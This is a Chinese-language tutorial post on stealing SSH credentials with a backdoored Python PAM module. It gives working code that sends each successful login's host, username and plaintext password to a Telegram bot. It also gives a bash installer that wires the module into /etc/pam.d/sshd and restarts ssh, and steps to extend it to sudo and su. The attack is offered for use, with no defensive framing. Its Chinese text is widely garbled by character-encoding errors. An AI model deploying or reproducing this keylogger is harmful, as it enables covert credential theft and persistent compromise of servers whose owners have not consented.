您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)竊取SSH憑證的方法說(shuō)是什么,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。
我將為大家介紹另外一種獲取ssh密碼的方法。這種方法是我在ChokePoint找到的 ,他向我們展示了如何使用python創(chuàng)建PAM模塊記錄失敗的嘗試,現(xiàn)在我要做的就是更改登錄密碼的地方。原腳本中當(dāng)?shù)卿浭r(shí),使用的auth_log函數(shù)。
if not check_pw(user, resp.resp): auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp)) return pamh.PAM_AUTH_ERR return pamh.PAM_SUCCESS
而在我的腳本中,當(dāng)?shù)卿洺晒r(shí)使用的是我定義的函數(shù)sendMessage
if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS
該函數(shù)主要用于發(fā)送用戶,密碼以及連接的IP,以下是完整代碼:
import spwd import crypt import requests def sendMessage(msg): apiKey = 'BOT-API-KEY' userId = 'USERID' url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg) r = requests.get(url) def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pw def pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:')) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS def pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS
我還創(chuàng)建了一個(gè)bash腳本用于自動(dòng)化的安裝這個(gè)ssh keylogger,其中安裝了所有的依賴關(guān)系,并在/etc/pam.d/sshd上配置了該P(yáng)AM模塊
#!/bin/bash # Install dependencies to create a PAM module using python (Except for python-pip) apt-get install python-pam libpam-python python-pip # Install dependencies python pip install requests # Check if exist the entrie on pam, for this module if ! grep -Fq "looter.py" /etc/pam.d/sshd;then sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshd fi code=' import spwd import crypt import requests def sendMessage(msg): apiKey = "API-KEY" userId = "USER-ID" data = {"chat_id":userId,"text":msg} url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey) r = requests.post(url,json=data) def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pw def pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:")) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS def pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS ' mkdir -p /lib/security/ echo "$code" > /lib/security/looter.py /etc/init.d/ssh restart
現(xiàn)在,只要有人成功登錄了服務(wù)器,你就會(huì)收到以下的登錄信息。
它也適用于sudo和su,只需添加以下代碼
auth requisite pam_python.so looter.py
到下面兩個(gè)文件中
/etc/pam.d/sudo /etc/pam.d/su
或者你也可以直接git clone該項(xiàng)目并按照README.md上的說(shuō)明進(jìn)行操作
git clone https://github.com/mthbernardes/sshLooter.git
關(guān)于竊取SSH憑證的方法說(shuō)是什么就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。